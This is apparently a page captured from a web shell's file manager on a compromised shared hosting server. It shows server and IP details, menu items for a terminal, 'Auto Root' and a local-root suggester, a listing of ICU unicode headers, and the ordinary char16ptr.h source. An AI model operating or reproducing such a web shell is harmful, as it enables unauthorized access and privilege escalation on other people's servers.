Linux server.edchosting.com 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
LiteSpeed
Server IP : 75.98.162.185 & Your IP : 216.73.216.163
Domains :
Cant Read [ /etc/named.conf ]
User : goons4good
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
opt /
alt /
alt-nodejs19 /
root /
usr /
include /
unicode /
Delete
Unzip
Name
Size
Permission
Date
Action
alphaindex.h
26.53
KB
-rw-r--r--
2023-02-22 04:25
appendable.h
8.53
KB
-rw-r--r--
2023-02-22 04:25
basictz.h
9.98
KB
-rw-r--r--
2023-02-22 04:25
brkiter.h
27.81
KB
-rw-r--r--
2023-02-22 04:25
bytestream.h
10.75
KB
-rw-r--r--
2023-02-22 04:25
bytestrie.h
20.78
KB
-rw-r--r--
2023-02-22 04:25
bytestriebuilder.h
7.48
KB
-rw-r--r--
2023-02-22 04:25
calendar.h
102.25
KB
-rw-r--r--
2023-02-22 04:25
caniter.h
7.47
KB
-rw-r--r--
2023-02-22 04:25
casemap.h
25.33
KB
-rw-r--r--
2023-02-22 04:25
char16ptr.h
7.22
KB
-rw-r--r--
2023-02-22 04:25
chariter.h
24.06
KB
-rw-r--r--
2023-02-22 04:25
choicfmt.h
23.98
KB
-rw-r--r--
2023-02-22 04:25
coleitr.h
13.78
KB
-rw-r--r--
2023-02-22 04:25
coll.h
56.27
KB
-rw-r--r--
2023-02-22 04:25
compactdecimalformat.h
6.88
KB
-rw-r--r--
2023-02-22 04:25
curramt.h
3.78
KB
-rw-r--r--
2023-02-22 04:25
currpinf.h
7.3
KB
-rw-r--r--
2023-02-22 04:25
currunit.h
4.02
KB
-rw-r--r--
2023-02-22 04:25
datefmt.h
40.71
KB
-rw-r--r--
2023-02-22 04:25
dbbi.h
1.19
KB
-rw-r--r--
2023-02-22 04:25
dcfmtsym.h
20.61
KB
-rw-r--r--
2023-02-22 04:25
decimfmt.h
87.57
KB
-rw-r--r--
2023-02-22 04:25
displayoptions.h
7.11
KB
-rw-r--r--
2023-02-22 04:25
docmain.h
7.21
KB
-rw-r--r--
2023-02-22 04:25
dtfmtsym.h
38.22
KB
-rw-r--r--
2023-02-22 04:25
dtintrv.h
3.85
KB
-rw-r--r--
2023-02-22 04:25
dtitvfmt.h
49.27
KB
-rw-r--r--
2023-02-22 04:25
dtitvinf.h
18.63
KB
-rw-r--r--
2023-02-22 04:25
dtptngen.h
28.69
KB
-rw-r--r--
2023-02-22 04:25
dtrule.h
8.69
KB
-rw-r--r--
2023-02-22 04:25
edits.h
20.74
KB
-rw-r--r--
2023-02-22 04:25
enumset.h
2.08
KB
-rw-r--r--
2023-02-22 04:25
errorcode.h
4.84
KB
-rw-r--r--
2023-02-22 04:25
fieldpos.h
8.7
KB
-rw-r--r--
2023-02-22 04:25
filteredbrk.h
5.37
KB
-rw-r--r--
2023-02-22 04:25
fmtable.h
24.43
KB
-rw-r--r--
2023-02-22 04:25
format.h
12.5
KB
-rw-r--r--
2023-02-22 04:25
formattedvalue.h
9.75
KB
-rw-r--r--
2023-02-22 04:25
fpositer.h
3.03
KB
-rw-r--r--
2023-02-22 04:25
gender.h
3.35
KB
-rw-r--r--
2023-02-22 04:25
gregocal.h
31.04
KB
-rw-r--r--
2023-02-22 04:25
icudataver.h
1.02
KB
-rw-r--r--
2023-02-22 04:25
icuplug.h
11.83
KB
-rw-r--r--
2023-02-22 04:25
idna.h
12.71
KB
-rw-r--r--
2023-02-22 04:25
listformatter.h
8.61
KB
-rw-r--r--
2023-02-22 04:25
localebuilder.h
11.08
KB
-rw-r--r--
2023-02-22 04:25
localematcher.h
26.84
KB
-rw-r--r--
2023-02-22 04:25
localpointer.h
19.36
KB
-rw-r--r--
2023-02-22 04:25
locdspnm.h
7.12
KB
-rw-r--r--
2023-02-22 04:25
locid.h
47.66
KB
-rw-r--r--
2023-02-22 04:25
measfmt.h
11.42
KB
-rw-r--r--
2023-02-22 04:25
measunit.h
106.33
KB
-rw-r--r--
2023-02-22 04:25
measure.h
4.33
KB
-rw-r--r--
2023-02-22 04:25
messagepattern.h
33.71
KB
-rw-r--r--
2023-02-22 04:25
msgfmt.h
44.17
KB
-rw-r--r--
2023-02-22 04:25
normalizer2.h
33.66
KB
-rw-r--r--
2023-02-22 04:25
normlzr.h
30.96
KB
-rw-r--r--
2023-02-22 04:25
nounit.h
2.25
KB
-rw-r--r--
2023-02-22 04:25
numberformatter.h
94.82
KB
-rw-r--r--
2023-02-22 04:25
numberrangeformatter.h
25.02
KB
-rw-r--r--
2023-02-22 04:25
numfmt.h
49.84
KB
-rw-r--r--
2023-02-22 04:25
numsys.h
7.22
KB
-rw-r--r--
2023-02-22 04:25
parseerr.h
3.08
KB
-rw-r--r--
2023-02-22 04:25
parsepos.h
5.57
KB
-rw-r--r--
2023-02-22 04:25
platform.h
28.55
KB
-rw-r--r--
2023-02-22 04:25
plurfmt.h
25.25
KB
-rw-r--r--
2023-02-22 04:25
plurrule.h
20.62
KB
-rw-r--r--
2023-02-22 04:25
ptypes.h
3.49
KB
-rw-r--r--
2023-02-22 04:25
putil.h
6.32
KB
-rw-r--r--
2023-02-22 04:25
rbbi.h
28.46
KB
-rw-r--r--
2023-02-22 04:25
rbnf.h
49.82
KB
-rw-r--r--
2023-02-22 04:25
rbtz.h
15.77
KB
-rw-r--r--
2023-02-22 04:25
regex.h
84.41
KB
-rw-r--r--
2023-02-22 04:25
region.h
9.18
KB
-rw-r--r--
2023-02-22 04:25
reldatefmt.h
22.22
KB
-rw-r--r--
2023-02-22 04:25
rep.h
9.37
KB
-rw-r--r--
2023-02-22 04:25
resbund.h
18.09
KB
-rw-r--r--
2023-02-22 04:25
schriter.h
6.1
KB
-rw-r--r--
2023-02-22 04:25
scientificnumberformatter.h
6.44
KB
-rw-r--r--
2023-02-22 04:25
search.h
22.22
KB
-rw-r--r--
2023-02-22 04:25
selfmt.h
14.35
KB
-rw-r--r--
2023-02-22 04:25
simpleformatter.h
12.59
KB
-rw-r--r--
2023-02-22 04:25
simpletz.h
45.65
KB
-rw-r--r--
2023-02-22 04:25
smpdtfmt.h
71.93
KB
-rw-r--r--
2023-02-22 04:25
sortkey.h
11.18
KB
-rw-r--r--
2023-02-22 04:25
std_string.h
1.05
KB
-rw-r--r--
2023-02-22 04:25
strenum.h
9.92
KB
-rw-r--r--
2023-02-22 04:25
stringoptions.h
5.79
KB
-rw-r--r--
2023-02-22 04:25
stringpiece.h
10.05
KB
-rw-r--r--
2023-02-22 04:25
stringtriebuilder.h
15.47
KB
-rw-r--r--
2023-02-22 04:25
stsearch.h
21.42
KB
-rw-r--r--
2023-02-22 04:25
symtable.h
4.27
KB
-rw-r--r--
2023-02-22 04:25
tblcoll.h
36.92
KB
-rw-r--r--
2023-02-22 04:25
timezone.h
43.81
KB
-rw-r--r--
2023-02-22 04:25
tmunit.h
3.4
KB
-rw-r--r--
2023-02-22 04:25
tmutamt.h
4.91
KB
-rw-r--r--
2023-02-22 04:25
tmutfmt.h
7.42
KB
-rw-r--r--
2023-02-22 04:25
translit.h
65.82
KB
-rw-r--r--
2023-02-22 04:25
tzfmt.h
42.93
KB
-rw-r--r--
2023-02-22 04:25
tznames.h
16.85
KB
-rw-r--r--
2023-02-22 04:25
tzrule.h
34.86
KB
-rw-r--r--
2023-02-22 04:25
tztrans.h
6.13
KB
-rw-r--r--
2023-02-22 04:25
ubidi.h
89.61
KB
-rw-r--r--
2023-02-22 04:25
ubiditransform.h
12.71
KB
-rw-r--r--
2023-02-22 04:25
ubrk.h
24.43
KB
-rw-r--r--
2023-02-22 04:25
ucal.h
60.68
KB
-rw-r--r--
2023-02-22 04:25
ucasemap.h
15.21
KB
-rw-r--r--
2023-02-22 04:25
ucat.h
5.35
KB
-rw-r--r--
2023-02-22 04:25
uchar.h
145.09
KB
-rw-r--r--
2023-02-22 04:25
ucharstrie.h
22.53
KB
-rw-r--r--
2023-02-22 04:25
ucharstriebuilder.h
7.48
KB
-rw-r--r--
2023-02-22 04:25
uchriter.h
13.42
KB
-rw-r--r--
2023-02-22 04:25
uclean.h
11.2
KB
-rw-r--r--
2023-02-22 04:25
ucnv.h
83.46
KB
-rw-r--r--
2023-02-22 04:25
ucnv_cb.h
6.58
KB
-rw-r--r--
2023-02-22 04:25
ucnv_err.h
20.98
KB
-rw-r--r--
2023-02-22 04:25
ucnvsel.h
6.24
KB
-rw-r--r--
2023-02-22 04:25
ucol.h
61.95
KB
-rw-r--r--
2023-02-22 04:25
ucoleitr.h
9.82
KB
-rw-r--r--
2023-02-22 04:25
uconfig.h
12.07
KB
-rw-r--r--
2023-02-22 04:25
ucpmap.h
5.54
KB
-rw-r--r--
2023-02-22 04:25
ucptrie.h
22.51
KB
-rw-r--r--
2023-02-22 04:25
ucsdet.h
14.69
KB
-rw-r--r--
2023-02-22 04:25
ucurr.h
16.72
KB
-rw-r--r--
2023-02-22 04:25
udat.h
62.36
KB
-rw-r--r--
2023-02-22 04:25
udata.h
15.63
KB
-rw-r--r--
2023-02-22 04:25
udateintervalformat.h
11.93
KB
-rw-r--r--
2023-02-22 04:25
udatpg.h
30.18
KB
-rw-r--r--
2023-02-22 04:25
udisplaycontext.h
5.94
KB
-rw-r--r--
2023-02-22 04:25
udisplayoptions.h
8.8
KB
-rw-r--r--
2023-02-22 04:25
uenum.h
7.79
KB
-rw-r--r--
2023-02-22 04:25
ufieldpositer.h
4.41
KB
-rw-r--r--
2023-02-22 04:25
uformattable.h
10.97
KB
-rw-r--r--
2023-02-22 04:25
uformattedvalue.h
12.25
KB
-rw-r--r--
2023-02-22 04:25
ugender.h
2.06
KB
-rw-r--r--
2023-02-22 04:25
uidna.h
33.43
KB
-rw-r--r--
2023-02-22 04:25
uiter.h
22.75
KB
-rw-r--r--
2023-02-22 04:25
uldnames.h
10.48
KB
-rw-r--r--
2023-02-22 04:25
ulistformatter.h
10.78
KB
-rw-r--r--
2023-02-22 04:25
uloc.h
54.66
KB
-rw-r--r--
2023-02-22 04:25
ulocdata.h
11.3
KB
-rw-r--r--
2023-02-22 04:25
umachine.h
15.73
KB
-rw-r--r--
2023-02-22 04:25
umisc.h
1.34
KB
-rw-r--r--
2023-02-22 04:25
umsg.h
24.25
KB
-rw-r--r--
2023-02-22 04:25
umutablecptrie.h
8.3
KB
-rw-r--r--
2023-02-22 04:25
unifilt.h
4
KB
-rw-r--r--
2023-02-22 04:25
unifunct.h
4.05
KB
-rw-r--r--
2023-02-22 04:25
unimatch.h
6.1
KB
-rw-r--r--
2023-02-22 04:25
unirepl.h
3.38
KB
-rw-r--r--
2023-02-22 04:25
uniset.h
66.12
KB
-rw-r--r--
2023-02-22 04:25
unistr.h
170.53
KB
-rw-r--r--
2023-02-22 04:25
unorm.h
20.55
KB
-rw-r--r--
2023-02-22 04:25
unorm2.h
24.68
KB
-rw-r--r--
2023-02-22 04:25
unum.h
56.6
KB
-rw-r--r--
2023-02-22 04:25
unumberformatter.h
30.26
KB
-rw-r--r--
2023-02-22 04:25
unumberrangeformatter.h
15.35
KB
-rw-r--r--
2023-02-22 04:25
unumsys.h
7.26
KB
-rw-r--r--
2023-02-22 04:25
uobject.h
10.68
KB
-rw-r--r--
2023-02-22 04:25
upluralrules.h
8.79
KB
-rw-r--r--
2023-02-22 04:25
uregex.h
71.99
KB
-rw-r--r--
2023-02-22 04:25
uregion.h
9.81
KB
-rw-r--r--
2023-02-22 04:25
ureldatefmt.h
17.04
KB
-rw-r--r--
2023-02-22 04:25
urename.h
135.69
KB
-rw-r--r--
2023-02-22 04:25
urep.h
5.38
KB
-rw-r--r--
2023-02-22 04:25
ures.h
36.54
KB
-rw-r--r--
2023-02-22 04:25
uscript.h
27.8
KB
-rw-r--r--
2023-02-22 04:25
usearch.h
39.21
KB
-rw-r--r--
2023-02-22 04:25
uset.h
44.19
KB
-rw-r--r--
2023-02-22 04:25
usetiter.h
9.63
KB
-rw-r--r--
2023-02-22 04:25
ushape.h
18
KB
-rw-r--r--
2023-02-22 04:25
uspoof.h
65.84
KB
-rw-r--r--
2023-02-22 04:25
usprep.h
8.19
KB
-rw-r--r--
2023-02-22 04:25
ustdio.h
38.56
KB
-rw-r--r--
2023-02-22 04:25
ustream.h
1.89
KB
-rw-r--r--
2023-02-22 04:25
ustring.h
72.36
KB
-rw-r--r--
2023-02-22 04:25
ustringtrie.h
3.15
KB
-rw-r--r--
2023-02-22 04:25
utext.h
58.08
KB
-rw-r--r--
2023-02-22 04:25
utf.h
7.87
KB
-rw-r--r--
2023-02-22 04:25
utf16.h
23.35
KB
-rw-r--r--
2023-02-22 04:25
utf32.h
763
B
-rw-r--r--
2023-02-22 04:25
utf8.h
30.83
KB
-rw-r--r--
2023-02-22 04:25
utf_old.h
45.8
KB
-rw-r--r--
2023-02-22 04:25
utmscale.h
13.78
KB
-rw-r--r--
2023-02-22 04:25
utrace.h
17.18
KB
-rw-r--r--
2023-02-22 04:25
utrans.h
25.54
KB
-rw-r--r--
2023-02-22 04:25
utypes.h
31.06
KB
-rw-r--r--
2023-02-22 04:25
uvernum.h
6.33
KB
-rw-r--r--
2023-02-22 04:25
uversion.h
5.99
KB
-rw-r--r--
2023-02-22 04:25
vtzone.h
20.68
KB
-rw-r--r--
2023-02-22 04:25
Save
Rename
// © 2017 and later: Unicode, Inc. and others. // License & terms of use: http://www.unicode.org/copyright.html // char16ptr.h // created: 2017feb28 Markus W. Scherer #ifndef __CHAR16PTR_H__ #define __CHAR16PTR_H__ #include "unicode/utypes.h" #if U_SHOW_CPLUSPLUS_API #include <cstddef> /** * \file * \brief C++ API: char16_t pointer wrappers with * implicit conversion from bit-compatible raw pointer types. * Also conversion functions from char16_t * to UChar * and OldUChar *. */ U_NAMESPACE_BEGIN /** * \def U_ALIASING_BARRIER * Barrier for pointer anti-aliasing optimizations even across function boundaries. * @internal */ #ifdef U_ALIASING_BARRIER // Use the predefined value. #elif (defined(__clang__) || defined(__GNUC__)) && U_PLATFORM != U_PF_BROWSER_NATIVE_CLIENT # define U_ALIASING_BARRIER(ptr) asm volatile("" : : "rm"(ptr) : "memory") #elif defined(U_IN_DOXYGEN) # define U_ALIASING_BARRIER(ptr) #endif /** * char16_t * wrapper with implicit conversion from distinct but bit-compatible pointer types. * @stable ICU 59 */ class U_COMMON_API Char16Ptr U_FINAL { public: /** * Copies the pointer. * @param p pointer * @stable ICU 59 */ inline Char16Ptr(char16_t *p); #if !U_CHAR16_IS_TYPEDEF /** * Converts the pointer to char16_t *. * @param p pointer to be converted * @stable ICU 59 */ inline Char16Ptr(uint16_t *p); #endif #if U_SIZEOF_WCHAR_T==2 || defined(U_IN_DOXYGEN) /** * Converts the pointer to char16_t *. * (Only defined if U_SIZEOF_WCHAR_T==2.) * @param p pointer to be converted * @stable ICU 59 */ inline Char16Ptr(wchar_t *p); #endif /** * nullptr constructor. * @param p nullptr * @stable ICU 59 */ inline Char16Ptr(std::nullptr_t p); /** * Destructor. * @stable ICU 59 */ inline ~Char16Ptr(); /** * Pointer access. * @return the wrapped pointer * @stable ICU 59 */ inline char16_t *get() const; /** * char16_t pointer access via type conversion (e.g., static_cast). * @return the wrapped pointer * @stable ICU 59 */ inline operator char16_t *() const { return get(); } private: Char16Ptr() = delete; #ifdef U_ALIASING_BARRIER template<typename T> static char16_t *cast(T *t) { U_ALIASING_BARRIER(t); return reinterpret_cast<char16_t *>(t); } char16_t *p_; #else union { char16_t *cp; uint16_t *up; wchar_t *wp; } u_; #endif }; /// \cond #ifdef U_ALIASING_BARRIER Char16Ptr::Char16Ptr(char16_t *p) : p_(p) {} #if !U_CHAR16_IS_TYPEDEF Char16Ptr::Char16Ptr(uint16_t *p) : p_(cast(p)) {} #endif #if U_SIZEOF_WCHAR_T==2 Char16Ptr::Char16Ptr(wchar_t *p) : p_(cast(p)) {} #endif Char16Ptr::Char16Ptr(std::nullptr_t p) : p_(p) {} Char16Ptr::~Char16Ptr() { U_ALIASING_BARRIER(p_); } char16_t *Char16Ptr::get() const { return p_; } #else Char16Ptr::Char16Ptr(char16_t *p) { u_.cp = p; } #if !U_CHAR16_IS_TYPEDEF Char16Ptr::Char16Ptr(uint16_t *p) { u_.up = p; } #endif #if U_SIZEOF_WCHAR_T==2 Char16Ptr::Char16Ptr(wchar_t *p) { u_.wp = p; } #endif Char16Ptr::Char16Ptr(std::nullptr_t p) { u_.cp = p; } Char16Ptr::~Char16Ptr() {} char16_t *Char16Ptr::get() const { return u_.cp; } #endif /// \endcond /** * const char16_t * wrapper with implicit conversion from distinct but bit-compatible pointer types. * @stable ICU 59 */ class U_COMMON_API ConstChar16Ptr U_FINAL { public: /** * Copies the pointer. * @param p pointer * @stable ICU 59 */ inline ConstChar16Ptr(const char16_t *p); #if !U_CHAR16_IS_TYPEDEF /** * Converts the pointer to char16_t *. * @param p pointer to be converted * @stable ICU 59 */ inline ConstChar16Ptr(const uint16_t *p); #endif #if U_SIZEOF_WCHAR_T==2 || defined(U_IN_DOXYGEN) /** * Converts the pointer to char16_t *. * (Only defined if U_SIZEOF_WCHAR_T==2.) * @param p pointer to be converted * @stable ICU 59 */ inline ConstChar16Ptr(const wchar_t *p); #endif /** * nullptr constructor. * @param p nullptr * @stable ICU 59 */ inline ConstChar16Ptr(const std::nullptr_t p); /** * Destructor. * @stable ICU 59 */ inline ~ConstChar16Ptr(); /** * Pointer access. * @return the wrapped pointer * @stable ICU 59 */ inline const char16_t *get() const; /** * char16_t pointer access via type conversion (e.g., static_cast). * @return the wrapped pointer * @stable ICU 59 */ inline operator const char16_t *() const { return get(); } private: ConstChar16Ptr() = delete; #ifdef U_ALIASING_BARRIER template<typename T> static const char16_t *cast(const T *t) { U_ALIASING_BARRIER(t); return reinterpret_cast<const char16_t *>(t); } const char16_t *p_; #else union { const char16_t *cp; const uint16_t *up; const wchar_t *wp; } u_; #endif }; /// \cond #ifdef U_ALIASING_BARRIER ConstChar16Ptr::ConstChar16Ptr(const char16_t *p) : p_(p) {} #if !U_CHAR16_IS_TYPEDEF ConstChar16Ptr::ConstChar16Ptr(const uint16_t *p) : p_(cast(p)) {} #endif #if U_SIZEOF_WCHAR_T==2 ConstChar16Ptr::ConstChar16Ptr(const wchar_t *p) : p_(cast(p)) {} #endif ConstChar16Ptr::ConstChar16Ptr(const std::nullptr_t p) : p_(p) {} ConstChar16Ptr::~ConstChar16Ptr() { U_ALIASING_BARRIER(p_); } const char16_t *ConstChar16Ptr::get() const { return p_; } #else ConstChar16Ptr::ConstChar16Ptr(const char16_t *p) { u_.cp = p; } #if !U_CHAR16_IS_TYPEDEF ConstChar16Ptr::ConstChar16Ptr(const uint16_t *p) { u_.up = p; } #endif #if U_SIZEOF_WCHAR_T==2 ConstChar16Ptr::ConstChar16Ptr(const wchar_t *p) { u_.wp = p; } #endif ConstChar16Ptr::ConstChar16Ptr(const std::nullptr_t p) { u_.cp = p; } ConstChar16Ptr::~ConstChar16Ptr() {} const char16_t *ConstChar16Ptr::get() const { return u_.cp; } #endif /// \endcond /** * Converts from const char16_t * to const UChar *. * Includes an aliasing barrier if available. * @param p pointer * @return p as const UChar * * @stable ICU 59 */ inline const UChar *toUCharPtr(const char16_t *p) { #ifdef U_ALIASING_BARRIER U_ALIASING_BARRIER(p); #endif return reinterpret_cast<const UChar *>(p); } /** * Converts from char16_t * to UChar *. * Includes an aliasing barrier if available. * @param p pointer * @return p as UChar * * @stable ICU 59 */ inline UChar *toUCharPtr(char16_t *p) { #ifdef U_ALIASING_BARRIER U_ALIASING_BARRIER(p); #endif return reinterpret_cast<UChar *>(p); } /** * Converts from const char16_t * to const OldUChar *. * Includes an aliasing barrier if available. * @param p pointer * @return p as const OldUChar * * @stable ICU 59 */ inline const OldUChar *toOldUCharPtr(const char16_t *p) { #ifdef U_ALIASING_BARRIER U_ALIASING_BARRIER(p); #endif return reinterpret_cast<const OldUChar *>(p); } /** * Converts from char16_t * to OldUChar *. * Includes an aliasing barrier if available. * @param p pointer * @return p as OldUChar * * @stable ICU 59 */ inline OldUChar *toOldUCharPtr(char16_t *p) { #ifdef U_ALIASING_BARRIER U_ALIASING_BARRIER(p); #endif return reinterpret_cast<OldUChar *>(p); } U_NAMESPACE_END #endif /* U_SHOW_CPLUSPLUS_API */ #endif // __CHAR16PTR_H__